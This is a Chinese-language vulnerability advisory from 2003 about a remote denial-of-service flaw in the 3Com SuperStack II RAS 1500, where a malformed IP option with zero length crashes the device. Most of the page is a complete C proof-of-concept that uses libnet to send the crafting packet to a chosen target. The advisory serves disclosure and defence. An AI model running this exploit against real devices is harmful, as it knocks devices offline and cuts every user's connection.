首页 -> 安全研究

安全研究

安全漏洞
3Com SuperStack II RAS 1500恶意IP头远程拒绝服务攻击漏洞

发布日期:2003-03-24
更新日期:2003-03-31

受影响系统:
3Com SuperStack II RAS 1500
描述:
BUGTRAQ  ID: 7175

3com SuperStack II远程访问系统1500是通过BRI-ISDN/模拟线路来访问电信设备的设备。

3com SuperStack II远程访问系统对畸形数据包处理不正确,远程攻击者可以利用这个漏洞对设备进行拒绝服务攻击。

攻击者发送IP选项长度字段设置为零的数据包给RAS 1500系统,可导致设备重新启动,使所有连接断开。

<*来源:Piotr Chytla (pch@isec.pl
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=104852250406896&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Piotr Chytla(pch@isec.pl) 提供了如下测试程序:

/*
* 3com superstack II RAS 1500 remote Denial of Service
*
* Piotr Chytla <pch@isec.pl>
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
*
* (c) 2003 Copyright by iSEC Security Research
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <libnet.h>
#define OPT_LEN 4
void usage()
{
  printf("Args: \n");
  printf("-s [source address]\n");
  printf("-d [destination address]\n");
}

int main(int argc,char *argv[])
{
char a;
int sock,r;
u_long src;
u_long dst;
char pktbuf[IP_MAXPACKET];
char payload[]="ABCDEFGHIJKLMNOPRST";
u_char options[4];
struct ipoption ipopt;
bzero(options,OPT_LEN);
while((a=getopt(argc,argv,"d:s:h?"))!=EOF)
{
     switch(a) {
         case 'h' : { usage(); exit(1); }
         case 's' : { src=libnet_name_resolve(optarg,0); break;}
         case 'd' : { dst=libnet_name_resolve(optarg,0); break;}
        }
}
sock = libnet_open_raw_sock(IPPROTO_RAW);
if (sock<0)
{
perror("socket");
exit(1);
}

libnet_build_ip(strlen(payload),0,0x1337,0,255,0xaa,src,dst,payload,strlen(payload),pktbuf);
  memcpy(ipopt.ipopt_list, options, OPT_LEN);
  *(ipopt.ipopt_list)     = 0xe4;
  *(ipopt.ipopt_list+1)   = 0;
  *(ipopt.ipopt_list+1)   = 0;
  *(ipopt.ipopt_list+1)   = 0;
  r=libnet_insert_ipo(&ipopt,OPT_LEN,pktbuf);
  if (r <0)
   {
        libnet_close_raw_sock(sock);
        printf("Error ip options insertion failed\n");
        exit(1);
   }
  r=libnet_write_ip(sock,pktbuf,LIBNET_IP_H+OPT_LEN+strlen(payload));
  if (r<0)
  {
   libnet_close_raw_sock(sock);
   printf("Error write_ip \n");
   exit(1);
  }
libnet_close_raw_sock(sock);
return 0;
}

建议:
厂商补丁:

3Com
----
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.3com.com

浏览次数:3206
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障